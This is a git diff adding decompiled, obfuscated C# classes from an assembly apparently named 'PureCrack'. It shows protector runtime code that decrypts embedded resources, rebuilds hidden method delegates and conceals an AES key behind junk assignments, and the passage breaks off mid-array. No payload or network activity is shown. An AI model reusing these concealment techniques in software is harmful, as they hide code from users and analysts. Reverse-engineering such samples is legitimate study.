diff --git a/decompiled/PureCrack.assets.inner.Class10.cs b/decompiled/PureCrack.assets.inner.Class10.cs new file mode 100644 index 0000000..16a1600 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Class10.cs @@ -0,0 +1,28 @@ +using System; +using System.CodeDom.Compiler; + +// Token: 0x02000028 RID: 40 +[Attribute0] +[GeneratedCode("Nerdbank.GitVersioning.Tasks", "3.5.119.9565")] +internal static class Class10 +{ + // Token: 0x06000109 RID: 265 RVA: 0x00002993 File Offset: 0x00000B93 + // Note: this type is marked as 'beforefieldinit'. + static Class10() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + Class10.dateTime_0 = new DateTime(638747956890000000L, DateTimeKind.Utc); + } + + // Token: 0x0600010A RID: 266 RVA: 0x000029AE File Offset: 0x00000BAE + internal static bool smethod_0() + { + return Class10.object_0 == null; + } + + // Token: 0x040000AA RID: 170 + internal static readonly DateTime dateTime_0; + + // Token: 0x040000AB RID: 171 + private static object object_0; +} diff --git a/decompiled/PureCrack.assets.inner.Class11.cs b/decompiled/PureCrack.assets.inner.Class11.cs new file mode 100644 index 0000000..3ab77be --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Class11.cs @@ -0,0 +1,40 @@ +using System; +using System.Reflection; + +// Token: 0x020000BD RID: 189 +internal class Class11 +{ + // Token: 0x06000768 RID: 1896 RVA: 0x0002018C File Offset: 0x0001E38C + internal static void smethod_0(int typemdt) + { + Type type = Class11.module_0.ResolveType(33554432 + typemdt); + foreach (FieldInfo fieldInfo in type.GetFields()) + { + MethodInfo method = (MethodInfo)Class11.module_0.ResolveMethod(fieldInfo.MetadataToken + 100663296); + fieldInfo.SetValue(null, (MulticastDelegate)Delegate.CreateDelegate(type, method)); + } + } + + // Token: 0x0600076A RID: 1898 RVA: 0x000068C3 File Offset: 0x00004AC3 + // Note: this type is marked as 'beforefieldinit'. + static Class11() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + Class11.module_0 = typeof(Class11).Assembly.ManifestModule; + } + + // Token: 0x0600076B RID: 1899 RVA: 0x000068E3 File Offset: 0x00004AE3 + internal static bool smethod_1() + { + return Class11.object_0 == null; + } + + // Token: 0x040002FD RID: 765 + internal static Module module_0; + + // Token: 0x040002FE RID: 766 + private static object object_0; + + // Token: 0x020000BE RID: 190 + internal delegate void Delegate0(object o); +} diff --git a/decompiled/PureCrack.assets.inner.Class12.cs b/decompiled/PureCrack.assets.inner.Class12.cs new file mode 100644 index 0000000..28c3dd1 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Class12.cs @@ -0,0 +1,2036 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Reflection; +using System.Reflection.Emit; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; + +// Token: 0x020000BF RID: 191 +internal class Class12 +{ + // Token: 0x06000771 RID: 1905 RVA: 0x000201F8 File Offset: 0x0001E3F8 + static Class12() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + Class12.bool_4 = false; + Class12.assembly_0 = typeof(Class12).Assembly; + Class12.uint_0 = new uint[] + { + 3614090360U, + 3905402710U, + 606105819U, + 3250441966U, + 4118548399U, + 1200080426U, + 2821735955U, + 4249261313U, + 1770035416U, + 2336552879U, + 4294925233U, + 2304563134U, + 1804603682U, + 4254626195U, + 2792965006U, + 1236535329U, + 4129170786U, + 3225465664U, + 643717713U, + 3921069994U, + 3593408605U, + 38016083U, + 3634488961U, + 3889429448U, + 568446438U, + 3275163606U, + 4107603335U, + 1163531501U, + 2850285829U, + 4243563512U, + 1735328473U, + 2368359562U, + 4294588738U, + 2272392833U, + 1839030562U, + 4259657740U, + 2763975236U, + 1272893353U, + 4139469664U, + 3200236656U, + 681279174U, + 3936430074U, + 3572445317U, + 76029189U, + 3654602809U, + 3873151461U, + 530742520U, + 3299628645U, + 4096336452U, + 1126891415U, + 2878612391U, + 4237533241U, + 1700485571U, + 2399980690U, + 4293915773U, + 2240044497U, + 1873313359U, + 4264355552U, + 2734768916U, + 1309151649U, + 4149444226U, + 3174756917U, + 718787259U, + 3951481745U + }; + Class12.bool_5 = false; + Class12.fQgAnroQoI = false; + Class12.rsacryptoServiceProvider_0 = null; + Class12.dictionary_0 = null; + Class12.object_3 = new object(); + Class12.int_2 = 0; + Class12.object_2 = new object(); + Class12.list_1 = null; + Class12.list_0 = null; + Class12.byte_1 = new byte[0]; + Class12.byte_0 = new byte[0]; + Class12.intptr_1 = IntPtr.Zero; + Class12.intptr_2 = IntPtr.Zero; + Class12.string_0 = new string[0]; + Class12.int_4 = new int[0]; + Class12.int_5 = 1; + Class12.bool_3 = false; + Class12.sortedList_0 = new SortedList(); + Class12.int_3 = 0; + Class12.long_0 = 0L; + Class12.object_1 = null; + Class12.object_0 = null; + Class12.long_1 = 0L; + Class12.int_1 = 0; + Class12.bool_2 = false; + Class12.bool_1 = false; + Class12.int_0 = 0; + Class12.intptr_3 = IntPtr.Zero; + Class12.bool_0 = false; + Class12.hashtable_0 = new Hashtable(); + Class12.delegate4_0 = null; + Class12.delegate5_0 = null; + Class12.delegate6_0 = null; + Class12.delegate7_0 = null; + Class12.delegate8_0 = null; + Class12.delegate9_0 = null; + Class12.intptr_0 = IntPtr.Zero; + try + { + RSACryptoServiceProvider.UseMachineKeyStore = true; + } + catch + { + } + } + + // Token: 0x06000772 RID: 1906 RVA: 0x000022D0 File Offset: 0x000004D0 + private void method_0() + { + } + + // Token: 0x06000773 RID: 1907 RVA: 0x0002037C File Offset: 0x0001E57C + internal static byte[] smethod_0(byte[] object_4) + { + uint[] array = new uint[16]; + uint num = (uint)((448 - object_4.Length * 8 % 512 + 512) % 512); + if (num == 0U) + { + num = 512U; + } + uint num2 = (uint)((long)object_4.Length + (long)((ulong)(num / 8U)) + 8L); + ulong num3 = (ulong)((long)object_4.Length * 8L); + byte[] array2 = new byte[num2]; + for (int i = 0; i < object_4.Length; i++) + { + array2[i] = object_4[i]; + } + byte[] array3 = array2; + int num4 = object_4.Length; + array3[num4] |= 128; + for (int j = 8; j > 0; j--) + { + array2[(int)(checked((IntPtr)(unchecked((ulong)num2 - (ulong)((long)j)))))] = (byte)(num3 >> (8 - j) * 8 & 255UL); + } + uint num5 = (uint)(array2.Length * 8 / 32); + uint num6 = 1732584193U; + uint num7 = 4023233417U; + uint num8 = 2562383102U; + uint num9 = 271733878U; + for (uint num10 = 0U; num10 < num5 / 16U; num10 += 1U) + { + uint num11 = num10 << 6; + for (uint num12 = 0U; num12 < 61U; num12 += 4U) + { + array[(int)(num12 >> 2)] = (uint)((int)array2[(int)(num11 + (num12 + 3U))] << 24 | (int)array2[(int)(num11 + (num12 + 2U))] << 16 | (int)array2[(int)(num11 + (num12 + 1U))] << 8 | (int)array2[(int)(num11 + num12)]); + } + uint num13 = num6; + uint num14 = num7; + uint num15 = num8; + uint num16 = num9; + Class12.dvsYoUdMrG(ref num6, num7, num8, num9, 0U, 7, 1U, array); + Class12.dvsYoUdMrG(ref num9, num6, num7, num8, 1U, 12, 2U, array); + Class12.dvsYoUdMrG(ref num8, num9, num6, num7, 2U, 17, 3U, array); + Class12.dvsYoUdMrG(ref num7, num8, num9, num6, 3U, 22, 4U, array); + Class12.dvsYoUdMrG(ref num6, num7, num8, num9, 4U, 7, 5U, array); + Class12.dvsYoUdMrG(ref num9, num6, num7, num8, 5U, 12, 6U, array); + Class12.dvsYoUdMrG(ref num8, num9, num6, num7, 6U, 17, 7U, array); + Class12.dvsYoUdMrG(ref num7, num8, num9, num6, 7U, 22, 8U, array); + Class12.dvsYoUdMrG(ref num6, num7, num8, num9, 8U, 7, 9U, array); + Class12.dvsYoUdMrG(ref num9, num6, num7, num8, 9U, 12, 10U, array); + Class12.dvsYoUdMrG(ref num8, num9, num6, num7, 10U, 17, 11U, array); + Class12.dvsYoUdMrG(ref num7, num8, num9, num6, 11U, 22, 12U, array); + Class12.dvsYoUdMrG(ref num6, num7, num8, num9, 12U, 7, 13U, array); + Class12.dvsYoUdMrG(ref num9, num6, num7, num8, 13U, 12, 14U, array); + Class12.dvsYoUdMrG(ref num8, num9, num6, num7, 14U, 17, 15U, array); + Class12.dvsYoUdMrG(ref num7, num8, num9, num6, 15U, 22, 16U, array); + Class12.smethod_1(ref num6, num7, num8, num9, 1U, 5, 17U, array); + Class12.smethod_1(ref num9, num6, num7, num8, 6U, 9, 18U, array); + Class12.smethod_1(ref num8, num9, num6, num7, 11U, 14, 19U, array); + Class12.smethod_1(ref num7, num8, num9, num6, 0U, 20, 20U, array); + Class12.smethod_1(ref num6, num7, num8, num9, 5U, 5, 21U, array); + Class12.smethod_1(ref num9, num6, num7, num8, 10U, 9, 22U, array); + Class12.smethod_1(ref num8, num9, num6, num7, 15U, 14, 23U, array); + Class12.smethod_1(ref num7, num8, num9, num6, 4U, 20, 24U, array); + Class12.smethod_1(ref num6, num7, num8, num9, 9U, 5, 25U, array); + Class12.smethod_1(ref num9, num6, num7, num8, 14U, 9, 26U, array); + Class12.smethod_1(ref num8, num9, num6, num7, 3U, 14, 27U, array); + Class12.smethod_1(ref num7, num8, num9, num6, 8U, 20, 28U, array); + Class12.smethod_1(ref num6, num7, num8, num9, 13U, 5, 29U, array); + Class12.smethod_1(ref num9, num6, num7, num8, 2U, 9, 30U, array); + Class12.smethod_1(ref num8, num9, num6, num7, 7U, 14, 31U, array); + Class12.smethod_1(ref num7, num8, num9, num6, 12U, 20, 32U, array); + Class12.smethod_2(ref num6, num7, num8, num9, 5U, 4, 33U, array); + Class12.smethod_2(ref num9, num6, num7, num8, 8U, 11, 34U, array); + Class12.smethod_2(ref num8, num9, num6, num7, 11U, 16, 35U, array); + Class12.smethod_2(ref num7, num8, num9, num6, 14U, 23, 36U, array); + Class12.smethod_2(ref num6, num7, num8, num9, 1U, 4, 37U, array); + Class12.smethod_2(ref num9, num6, num7, num8, 4U, 11, 38U, array); + Class12.smethod_2(ref num8, num9, num6, num7, 7U, 16, 39U, array); + Class12.smethod_2(ref num7, num8, num9, num6, 10U, 23, 40U, array); + Class12.smethod_2(ref num6, num7, num8, num9, 13U, 4, 41U, array); + Class12.smethod_2(ref num9, num6, num7, num8, 0U, 11, 42U, array); + Class12.smethod_2(ref num8, num9, num6, num7, 3U, 16, 43U, array); + Class12.smethod_2(ref num7, num8, num9, num6, 6U, 23, 44U, array); + Class12.smethod_2(ref num6, num7, num8, num9, 9U, 4, 45U, array); + Class12.smethod_2(ref num9, num6, num7, num8, 12U, 11, 46U, array); + Class12.smethod_2(ref num8, num9, num6, num7, 15U, 16, 47U, array); + Class12.smethod_2(ref num7, num8, num9, num6, 2U, 23, 48U, array); + Class12.smethod_3(ref num6, num7, num8, num9, 0U, 6, 49U, array); + Class12.smethod_3(ref num9, num6, num7, num8, 7U, 10, 50U, array); + Class12.smethod_3(ref num8, num9, num6, num7, 14U, 15, 51U, array); + Class12.smethod_3(ref num7, num8, num9, num6, 5U, 21, 52U, array); + Class12.smethod_3(ref num6, num7, num8, num9, 12U, 6, 53U, array); + Class12.smethod_3(ref num9, num6, num7, num8, 3U, 10, 54U, array); + Class12.smethod_3(ref num8, num9, num6, num7, 10U, 15, 55U, array); + Class12.smethod_3(ref num7, num8, num9, num6, 1U, 21, 56U, array); + Class12.smethod_3(ref num6, num7, num8, num9, 8U, 6, 57U, array); + Class12.smethod_3(ref num9, num6, num7, num8, 15U, 10, 58U, array); + Class12.smethod_3(ref num8, num9, num6, num7, 6U, 15, 59U, array); + Class12.smethod_3(ref num7, num8, num9, num6, 13U, 21, 60U, array); + Class12.smethod_3(ref num6, num7, num8, num9, 4U, 6, 61U, array); + Class12.smethod_3(ref num9, num6, num7, num8, 11U, 10, 62U, array); + Class12.smethod_3(ref num8, num9, num6, num7, 2U, 15, 63U, array); + Class12.smethod_3(ref num7, num8, num9, num6, 9U, 21, 64U, array); + num6 += num13; + num7 += num14; + num8 += num15; + num9 += num16; + } + byte[] array4 = new byte[16]; + Array.Copy(BitConverter.GetBytes(num6), 0, array4, 0, 4); + Array.Copy(BitConverter.GetBytes(num7), 0, array4, 4, 4); + Array.Copy(BitConverter.GetBytes(num8), 0, array4, 8, 4); + Array.Copy(BitConverter.GetBytes(num9), 0, array4, 12, 4); + return array4; + } + + // Token: 0x06000774 RID: 1908 RVA: 0x000068ED File Offset: 0x00004AED + private static void dvsYoUdMrG(ref uint uint_1, uint uint_2, uint uint_3, uint uint_4, uint uint_5, ushort ushort_0, uint uint_6, uint[] object_4) + { + uint_1 = uint_2 + Class12.smethod_4(uint_1 + ((uint_2 & uint_3) | (~uint_2 & uint_4)) + object_4[(int)uint_5] + Class12.uint_0[(int)(uint_6 - 1U)], ushort_0); + } + + // Token: 0x06000775 RID: 1909 RVA: 0x00006916 File Offset: 0x00004B16 + private static void smethod_1(ref uint uint_1, uint uint_2, uint uint_3, uint uint_4, uint uint_5, ushort ushort_0, uint uint_6, uint[] object_4) + { + uint_1 = uint_2 + Class12.smethod_4(uint_1 + ((uint_2 & uint_4) | (uint_3 & ~uint_4)) + object_4[(int)uint_5] + Class12.uint_0[(int)(uint_6 - 1U)], ushort_0); + } + + // Token: 0x06000776 RID: 1910 RVA: 0x0000693F File Offset: 0x00004B3F + private static void smethod_2(ref uint uint_1, uint uint_2, uint uint_3, uint uint_4, uint uint_5, ushort ushort_0, uint uint_6, uint[] object_4) + { + uint_1 = uint_2 + Class12.smethod_4(uint_1 + (uint_2 ^ uint_3 ^ uint_4) + object_4[(int)uint_5] + Class12.uint_0[(int)(uint_6 - 1U)], ushort_0); + } + + // Token: 0x06000777 RID: 1911 RVA: 0x00006965 File Offset: 0x00004B65 + private static void smethod_3(ref uint uint_1, uint uint_2, uint uint_3, uint uint_4, uint uint_5, ushort ushort_0, uint uint_6, uint[] object_4) + { + uint_1 = uint_2 + Class12.smethod_4(uint_1 + (uint_3 ^ (uint_2 | ~uint_4)) + object_4[(int)uint_5] + Class12.uint_0[(int)(uint_6 - 1U)], ushort_0); + } + + // Token: 0x06000778 RID: 1912 RVA: 0x0000698C File Offset: 0x00004B8C + private static uint smethod_4(uint uint_1, ushort ushort_0) + { + return uint_1 >> (int)(32 - ushort_0) | uint_1 << (int)ushort_0; + } + + // Token: 0x06000779 RID: 1913 RVA: 0x0000699E File Offset: 0x00004B9E + internal static bool smethod_5() + { + if (!Class12.bool_5) + { + Class12.smethod_7(); + Class12.bool_5 = true; + } + return Class12.fQgAnroQoI; + } + + // Token: 0x0600077A RID: 1914 RVA: 0x00002300 File Offset: 0x00000500 + internal Class12() + { + } + + // Token: 0x0600077B RID: 1915 RVA: 0x000209E0 File Offset: 0x0001EBE0 + private void method_1(byte[] byte_2, byte[] byte_3, byte[] byte_4) + { + int num = byte_4.Length % 4; + int num2 = byte_4.Length / 4; + byte[] array = new byte[byte_4.Length]; + int num3 = byte_2.Length / 4; + uint num4 = 0U; + if (num > 0) + { + num2++; + } + for (int i = 0; i < num2; i++) + { + int num5 = i % num3; + int num6 = i * 4; + uint num7 = (uint)(num5 * 4); + uint num8 = (uint)((int)byte_2[(int)(num7 + 3U)] << 24 | (int)byte_2[(int)(num7 + 2U)] << 16 | (int)byte_2[(int)(num7 + 1U)] << 8 | (int)byte_2[(int)num7]); + uint num9 = 255U; + int num10 = 0; + uint num11; + if (i == num2 - 1 && num > 0) + { + num11 = 0U; + num4 += num8; + for (int j = 0; j < num; j++) + { + if (j > 0) + { + num11 <<= 8; + } + num11 |= (uint)byte_4[byte_4.Length - (1 + j)]; + } + } + else + { + num4 += num8; + num7 = (uint)num6; + num11 = (uint)((int)byte_4[(int)(num7 + 3U)] << 24 | (int)byte_4[(int)(num7 + 2U)] << 16 | (int)byte_4[(int)(num7 + 1U)] << 8 | (int)byte_4[(int)num7]); + } + uint num13; + uint num12 = num13 = num4; + uint num14 = 1929424900U; + uint num15 = 2289769640U ^ num13; + uint num16 = num15 & 16711935U; + num15 &= 4278255360U; + uint num17 = num15 >> 8 | num16 << 8; + uint num18 = 932744464U; + uint num19 = (num17 ^ num17) - num17; + if (num13 == 0U) + { + num13 -= 1U; + } + uint num20 = num17 / num13 + num13; + num13 = num17 - num17 - num20 + num17; + num18 = 9495U * (num18 & 65535U) - (num18 >> 16); + num19 = 10476U * (num19 & 65535U) - (num19 >> 16); + num17 = 22014U * num17 + num13; + num13 ^= num13 << 9; + num13 += num19; + num13 ^= num13 << 1; + num13 += num13; + num13 ^= num13 >> 5; + num13 += num14; + num13 = ((num19 << 11) + num17 ^ num19) + num13; + num4 = num12 + (uint)num13; + if (i == num2 - 1 && num > 0) + { + uint num21 = num4 ^ num11; + for (int k = 0; k < num; k++) + { + if (k > 0) + { + num9 <<= 8; + num10 += 8; + } + array[num6 + k] = (byte)((num21 & num9) >> num10); + } + } + else + { + uint num22 = num4 ^ num11; + array[num6] = (byte)(num22 & 255U); + array[num6 + 1] = (byte)((num22 & 65280U) >> 8); + array[num6 + 2] = (byte)((num22 & 16711680U) >> 16); + array[num6 + 3] = (byte)((num22 & 4278190080U) >> 24); + } + } + Class12.byte_1 = array; + } + + // Token: 0x0600077C RID: 1916 RVA: 0x00020D3C File Offset: 0x0001EF3C + internal static SymmetricAlgorithm smethod_6() + { + SymmetricAlgorithm result = null; + if (!Class12.smethod_5()) + { + try + { + return new RijndaelManaged(); + } + catch + { + try + { + result = (SymmetricAlgorithm)Activator.CreateInstance("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "System.Security.Cryptography.AesCryptoServiceProvider").Unwrap(); + } + catch + { + result = (SymmetricAlgorithm)Activator.CreateInstance("System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "System.Security.Cryptography.AesCryptoServiceProvider").Unwrap(); + } + return result; + } + } + result = new AesCryptoServiceProvider(); + return result; + } + + // Token: 0x0600077D RID: 1917 RVA: 0x00020DBC File Offset: 0x0001EFBC + internal static void smethod_7() + { + try + { + new MD5CryptoServiceProvider(); + } + catch + { + Class12.fQgAnroQoI = true; + return; + } + try + { + Class12.fQgAnroQoI = CryptoConfig.AllowOnlyFipsAlgorithms; + } + catch + { + } + } + + // Token: 0x0600077E RID: 1918 RVA: 0x000069B7 File Offset: 0x00004BB7 + internal static byte[] smethod_8(byte[] byte_2) + { + if (Class12.smethod_5()) + { + return Class12.smethod_0(byte_2); + } + return new MD5CryptoServiceProvider().ComputeHash(byte_2); + } + + // Token: 0x0600077F RID: 1919 RVA: 0x00020E08 File Offset: 0x0001F008 + internal static void smethod_9(HashAlgorithm hashAlgorithm_0, Stream stream_0, uint uint_1, byte[] byte_2) + { + while (uint_1 > 0U) + { + int num = (int)((uint_1 <= (uint)byte_2.Length) ? uint_1 : ((uint)byte_2.Length)); + stream_0.Read(byte_2, 0, num); + Class12.smethod_10(hashAlgorithm_0, byte_2, 0, num); + uint_1 -= (uint)num; + } + } + + // Token: 0x06000780 RID: 1920 RVA: 0x000069D2 File Offset: 0x00004BD2 + internal static void smethod_10(HashAlgorithm hashAlgorithm_0, byte[] byte_2, int int_6, int int_7) + { + hashAlgorithm_0.TransformBlock(byte_2, int_6, int_7, byte_2, int_6); + } + + // Token: 0x06000781 RID: 1921 RVA: 0x00020E44 File Offset: 0x0001F044 + internal static uint smethod_11(uint uint_1, int int_6, long long_2, BinaryReader binaryReader_0) + { + for (int i = 0; i < int_6; i++) + { + binaryReader_0.BaseStream.Position = long_2 + (long)(i * 40 + 8); + uint num = binaryReader_0.ReadUInt32(); + uint num2 = binaryReader_0.ReadUInt32(); + binaryReader_0.ReadUInt32(); + uint num3 = binaryReader_0.ReadUInt32(); + if (num2 <= uint_1 && uint_1 < num2 + num) + { + return num3 + uint_1 - num2; + } + } + return 0U; + } + + // Token: 0x06000782 RID: 1922 RVA: 0x00020EA0 File Offset: 0x0001F0A0 + public static void smethod_12(RuntimeTypeHandle runtimeTypeHandle_0) + { + try + { + Type typeFromHandle = Type.GetTypeFromHandle(runtimeTypeHandle_0); + if (Class12.dictionary_0 == null) + { + object obj = Class12.object_3; + lock (obj) + { + Dictionary dictionary = new Dictionary(); + BinaryReader binaryReader = new BinaryReader(typeof(Class12).Assembly.GetManifestResourceStream("U2em1bf27GlLaO8n2j.oPNUNrDDw5Jk3GVNgQ")); + binaryReader.BaseStream.Position = 0L; + byte[] array = binaryReader.ReadBytes((int)binaryReader.BaseStream.Length); + binaryReader.Close(); + if (array.Length != 0) + { + int num = array.Length % 4; + int num2 = array.Length / 4; + byte[] array2 = new byte[array.Length]; + uint num3 = 0U; + if (num > 0) + { + num2++; + } + for (int i = 0; i < num2; i++) + { + int num4 = i * 4; + uint num5 = 255U; + int num6 = 0; + uint num7; + if (i == num2 - 1 && num > 0) + { + num7 = 0U; + for (int j = 0; j < num; j++) + { + if (j > 0) + { + num7 <<= 8; + } + num7 |= (uint)array[array.Length - (1 + j)]; + } + } + else + { + uint num8 = (uint)num4; + num7 = (uint)((int)array[(int)(num8 + 3U)] << 24 | (int)array[(int)(num8 + 2U)] << 16 | (int)array[(int)(num8 + 1U)] << 8 | (int)array[(int)num8]); + } + num3 = num3; + uint num9 = num3; + uint num10 = num3; + uint num11 = 1929424900U; + uint num12 = 2289769640U ^ num10; + uint num13 = num12 & 16711935U; + num12 &= 4278255360U; + uint num14 = num12 >> 8 | num13 << 8; + uint num15 = 932744464U; + uint num16 = (num14 ^ num14) - num14; + if (num10 == 0U) + { + num10 -= 1U; + } + uint num17 = num14 / num10 + num10; + num10 = num14 - num14 - num17 + num14; + num15 = 9495U * (num15 & 65535U) - (num15 >> 16); + num16 = 10476U * (num16 & 65535U) - (num16 >> 16); + num14 = 22014U * num14 + num10; + num10 ^= num10 << 9; + num10 += num16; + num10 ^= num10 << 1; + num10 += num10; + num10 ^= num10 >> 5; + num10 += num11; + num10 = ((num16 << 11) + num14 ^ num16) + num10; + num3 = num9 + (uint)num10; + if (i == num2 - 1 && num > 0) + { + uint num18 = num3 ^ num7; + for (int k = 0; k < num; k++) + { + if (k > 0) + { + num5 <<= 8; + num6 += 8; + } + array2[num4 + k] = (byte)((num18 & num5) >> num6); + } + } + else + { + uint num19 = num3 ^ num7; + array2[num4] = (byte)(num19 & 255U); + array2[num4 + 1] = (byte)((num19 & 65280U) >> 8); + array2[num4 + 2] = (byte)((num19 & 16711680U) >> 16); + array2[num4 + 3] = (byte)((num19 & 4278190080U) >> 24); + } + } + array = array2; + int num20 = array.Length / 8; + Class12.Class15 @class = new Class12.Class15(new MemoryStream(array)); + for (int l = 0; l < num20; l++) + { + int key = @class.method_3(); + int value = @class.method_3(); + dictionary.Add(key, value); + } + @class.method_4(); + } + Class12.dictionary_0 = dictionary; + } + } + FieldInfo[] fields = typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField); + for (int m = 0; m < fields.Length; m++) + { + try + { + FieldInfo fieldInfo = fields[m]; + int metadataToken = fieldInfo.MetadataToken; + int num21 = Class12.dictionary_0[metadataToken]; + bool flag2 = (num21 & 1073741824) > 0; + num21 &= 1073741823; + MethodInfo methodInfo = (MethodInfo)typeof(Class12).Module.ResolveMethod(num21, typeFromHandle.GetGenericArguments(), new Type[0]); + if (methodInfo.IsStatic) + { + fieldInfo.SetValue(null, Delegate.CreateDelegate(fieldInfo.FieldType, methodInfo)); + } + else + { + ParameterInfo[] parameters = methodInfo.GetParameters(); + int num22 = parameters.Length + 1; + Type[] array3 = new Type[num22]; + if (methodInfo.DeclaringType.IsValueType) + { + array3[0] = methodInfo.DeclaringType.MakeByRefType(); + } + else + { + array3[0] = typeof(object); + } + for (int n = 0; n < parameters.Length; n++) + { + array3[n + 1] = parameters[n].ParameterType; + } + DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, methodInfo.ReturnType, array3, typeFromHandle, true); + ILGenerator ilgenerator = dynamicMethod.GetILGenerator(); + for (int num23 = 0; num23 < num22; num23++) + { + switch (num23) + { + case 0: + ilgenerator.Emit(OpCodes.Ldarg_0); + break; + case 1: + ilgenerator.Emit(OpCodes.Ldarg_1); + break; + case 2: + ilgenerator.Emit(OpCodes.Ldarg_2); + break; + case 3: + ilgenerator.Emit(OpCodes.Ldarg_3); + break; + default: + ilgenerator.Emit(OpCodes.Ldarg_S, num23); + break; + } + } + ilgenerator.Emit(OpCodes.Tailcall); + ilgenerator.Emit(flag2 ? OpCodes.Callvirt : OpCodes.Call, methodInfo); + ilgenerator.Emit(OpCodes.Ret); + fieldInfo.SetValue(null, dynamicMethod.CreateDelegate(typeFromHandle)); + } + } + catch (Exception) + { + } + } + } + catch (Exception) + { + } + } + + // Token: 0x06000783 RID: 1923 RVA: 0x000069E0 File Offset: 0x00004BE0 + private static uint smethod_13(uint uint_1) + { + return (uint)"V8vU2V3RMKGsRDNiU".Length; + } + + // Token: 0x06000784 RID: 1924 RVA: 0x000214EC File Offset: 0x0001F6EC + private static void smethod_14(Stream stream_0, int int_6) + { + RSACryptoServiceProvider.UseMachineKeyStore = true; + Class12.rsacryptoServiceProvider_0 = new RSACryptoServiceProvider(); + string location = typeof(Class12).Assembly.Location; + if (location != null && location.Length != 0) + { + HashAlgorithm obj = null; + string str = null; + try + { + obj = SHA1.Create(); + str = CryptoConfig.MapNameToOID("SHA1"); + if (!File.Exists(location)) + { + goto IL_37; + } + } + catch + { + goto IL_37; + } + bool flag = false; + try + { + Class12.Class15 @class = new Class12.Class15(Class12.assembly_0.GetManifestResourceStream("7uLbEBRPsZW5JihXkm.Zp8vwLYAteMhuSyYxg")); + @class.method_0().Position = 0L; + byte[] obj2 = @class.method_1((int)@class.method_0().Length); + byte[] obj3 = new byte[32]; + obj3[0] = 110; + obj3[0] = 128; + obj3[0] = 161; + obj3[0] = 146; + obj3[0] = 148; + obj3[0] = 75; + obj3[1] = 120; + obj3[1] = 146; + obj3[1] = 160; + obj3[1] = 141; + obj3[1] = 40; + obj3[1] = 197; + obj3[2] = 128; + obj3[2] = 162; + obj3[2] = 125; + obj3[2] = 93; + obj3[2] = 161; + obj3[3] = 153; + obj3[3] = 137; + obj3[3] = 143; + obj3[3] = 194; + obj3[4] = 106; + obj3[4] = 155; + obj3[4] = 26; + obj3[4] = 115; + obj3[4] = 100; + obj3[4] = 179; + obj3[5] = 112; + obj3[5] = 228; + obj3[5] = 231; + obj3[5] = 88; + obj3[6] = 197; + obj3[6] = 126; + obj3[6] = 130; + obj3[6] = 136; + obj3[6] = 81; + obj3[7] = 145; + obj3[7] = 136; + obj3[7] = 152; + obj3[7] = 111; + obj3[7] = 116; + obj3[8] = 141; + obj3[8] = 144; + obj3[8] = 205; + obj3[8] = 206; + obj3[8] = 140; + obj3[8] = 91; + obj3[9] = 3; + obj3[9] = 110; + obj3[9] = 165; + obj3[9] = 175; + obj3[10] = 120; + obj3[10] = 85; + obj3[10] = 147; + obj3[10] = 98; + obj3[10] = 134; + obj3[11] = 90; + obj3[11] = 146; + obj3[11] = 141; + obj3[11] = 156; + obj3[11] = 118; + obj3[11] = 142; + obj3[12] = 130; + obj3[12] = 49; + obj3[12] = 51; + obj3[13] = 150; + obj3[13] = 103; + obj3[13] = 43; + obj3[13] = 207; + obj3[13] = 45; + obj3[14] = 118; + obj3[14] = 99; + obj3[14] = 127; + obj3[14] = 180; + obj3[14] = 195; + obj3[14] = 196; + obj3[15] = 177; + obj3[15] = 88; + obj3[15] = 19; + obj3[16] = 101; + obj3[16] = 130; + obj3[16] = 182; + obj3[16] = 110; + obj3[16] = 98; + obj3[16] = 240; + obj3[17] = 183; + obj3[17] = 141; + obj3[17] = 74; + obj3[18] = 159; + obj3[18] = 143; + obj3[18] = 91; + obj3[19] = 88; + obj3[19] = 129; + obj3[19] = 116; + obj3[19] = 146; + obj3[19] = 195; + obj3[20] = 20; + obj3[20] = 164; + obj3[20] = 124; + obj3[21] = 151; + obj3[21] = 132; + obj3[21] = 213; + obj3[22] = 95; + obj3[22] = 160; + obj3[22] = 93; + obj3[22] = 139; + obj3[22] = 79; + obj3[22] = 8; + obj3[23] = 122; + obj3[23] = 137; + obj3[23] = 185; + obj3[23] = 238; + obj3[24] = 156; + obj3[24] = 138; + obj3[24] = 142; + obj3[24] = 134; + obj3[24] = 139; + obj3[25] = 86; + obj3[25] = 160; + obj3[25] = 153; + obj3[25] = 31; + obj3[25] = 124; + obj3[25] = 188; + obj3[26] = 134; + obj3[26] = 97; + obj3[26] = 129; + obj3[26] = 202; + obj3[27] = 88; + obj3[27] = 142; + obj3[27] = 144; + obj3[27] = 133; + obj3[27] = 229; + obj3[28] = 86; + obj3[28] = 76; + obj3[28] = 71; + obj3[29] = 162; + obj3[29] = 191; + obj3[29] = 108; + obj3[29] = 117; + obj3[29] = 229; + obj3[30] = 120; + obj3[30] = 191; + obj3[30] = 98; + obj3[30] = 129; + obj3[31] = 103; + obj3[31] = 137; + obj3[31] = 109; + obj3[31] = 87; + obj3[31] = 161; + byte[] rgbKey = obj3; + byte[] obj4 = new byte[16]; + obj4[0] = 145; + obj4[0] = 138; + obj4[0] = 161; + obj4[0] = 70; + obj4[1] = 170; + obj4[1] = 121; + obj4[1] = 114; + obj4[1] = 111; + obj4[1] = 114; + obj4[1] = 147; + obj4[2] = 134; + obj4[2] = 155; + obj4[2] = 7; + obj4[3] = 162; + obj4[3] = 159; + obj4[3] = 156; + obj4[3] = 132; + obj4[3] = 31; + obj4[4] = 93; + obj4[4] = 112; + obj4[4] = 237; + obj4[5] = 127; + obj4[5] = 124; + obj4[5] = 89; + obj4[6] = 59; + obj4[6] = 159; + obj4[6] = 175; + obj4[7] = 163; + obj4[7] = 152; + obj4[7] = 90; + obj4[7] = 112; + obj4[7] = 108; + obj4[7] = 87; + obj4[8] = 96; + obj4[8] = 67; + obj4[8] = 